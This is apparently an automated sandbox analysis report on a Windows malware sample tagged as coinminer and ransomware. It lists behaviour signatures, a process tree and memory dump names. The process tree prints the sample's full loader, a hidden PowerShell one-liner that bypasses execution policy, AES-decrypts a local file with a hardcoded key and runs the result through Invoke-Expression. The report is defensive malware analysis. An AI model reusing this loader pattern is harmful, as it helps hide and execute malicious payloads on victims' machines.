Analysis
- max time kernel
148s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
05/09/2026, 06:03
General
- Target 2026-09-04_7ab6ee29ba54294b49f390553b0c9033_coinminer_elex_mimic_pay2key_wannacry.exe
- Size 167KB
- Sample260905-gr329afm3x
- SHA256 4c209b96b15652da7301d2c964929fa7dce24a4929cb8d49664d365cb5fe6a64
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-09-04_7ab6ee29ba54294b49f390553b0c9033_coinminer_elex_mimic_pay2key_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-09-04_7ab6ee29ba54294b49f390553b0c9033_coinminer_elex_mimic_pay2key_wannacry.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\Portables\kaka\ProConAttrib.bat2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\chcp.comchcp 650013⤵
- System Location Discovery: System Language Discovery
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Console]::OutputEncoding = [System.Text.Encoding]::UTF8; $h = [System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\Portables\kaka\ProConAttrib.dat', [System.Text.Encoding]::ASCII); $b = New-Object Byte[] ($h.Length/2); for($i=0;$i -lt $b.Length;$i++){$b[$i]=[Convert]::ToByte($h.Substring($i*2,2),16)}; $k = New-Object Byte[] 32; $iv = New-Object Byte[] 16; for($i=0;$i -lt 32;$i++){$k[$i]=[Convert]::ToByte('C999E3B5B6ABBFCF50AA44866FC84C7CDCC2DA806CDB83ED0B6A6D3C52ED37BC'.Substring($i*2,2),16)}; [Buffer]::BlockCopy($b, 0, $iv, 0, 16); $d = New-Object Byte[] ($b.Length - 16); [Buffer]::BlockCopy($b, 16, $d, 0, $d.Length); $aes = [System.Security.Cryptography.Aes]::Create(); $aes.Key = $k; $aes.IV = $iv; $dec = $aes.CreateDecryptor(); $p = $dec.TransformFinalBlock($d, 0, $d.Length); $cmd = [System.Text.Encoding]::UTF8.GetString($p); $aes.Dispose(); $dec.Dispose(); Invoke-Expression $cmd"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
ProConAttrib.bat
ProConAttrib.dat
memory/5740-20-0x0000000006270000-0x000000000628A000-memory.dmp
memory/5740-32-0x0000000073A30000-0x00000000741EC000-memory.dmp
memory/5740-8-0x0000000004FB0000-0x00000000055FA000-memory.dmp
memory/5740-9-0x0000000073A30000-0x00000000741EC000-memory.dmp
memory/5740-13-0x0000000005720000-0x0000000005786000-memory.dmp
memory/5740-12-0x0000000005660000-0x0000000005682000-memory.dmp
memory/5740-14-0x0000000005790000-0x00000000057F6000-memory.dmp
memory/5740-15-0x00000000058A0000-0x0000000005BFB000-memory.dmp
memory/5740-16-0x0000000005D00000-0x0000000005D1E000-memory.dmp
memory/5740-17-0x0000000005D30000-0x0000000005D7C000-memory.dmp
memory/5740-6-0x0000000004900000-0x0000000004936000-memory.dmp
memory/5740-22-0x0000000007180000-0x0000000007212000-memory.dmp
memory/5740-7-0x0000000073A30000-0x00000000741EC000-memory.dmp
memory/5740-5-0x0000000073A42000-0x0000000073A43000-memory.dmp
memory/5740-19-0x0000000007530000-0x0000000007BAC000-memory.dmp
memory/5740-23-0x0000000073A30000-0x00000000741EC000-memory.dmp
memory/5740-24-0x0000000073A30000-0x00000000741EC000-memory.dmp
memory/5740-25-0x0000000007360000-0x00000000073F6000-memory.dmp
memory/5740-26-0x0000000007310000-0x0000000007332000-memory.dmp
memory/5740-27-0x00000000074F0000-0x00000000074F8000-memory.dmp
memory/5740-28-0x0000000007C20000-0x0000000007C5E000-memory.dmp
memory/5740-29-0x0000000007BE0000-0x0000000007BEE000-memory.dmp
memory/5740-30-0x0000000073A42000-0x0000000073A43000-memory.dmp
memory/5740-31-0x0000000073A30000-0x00000000741EC000-memory.dmp
memory/5740-21-0x0000000008170000-0x000000000872A000-memory.dmp
memory/5740-33-0x0000000073A30000-0x00000000741EC000-memory.dmp
memory/5740-34-0x0000000073A30000-0x00000000741EC000-memory.dmp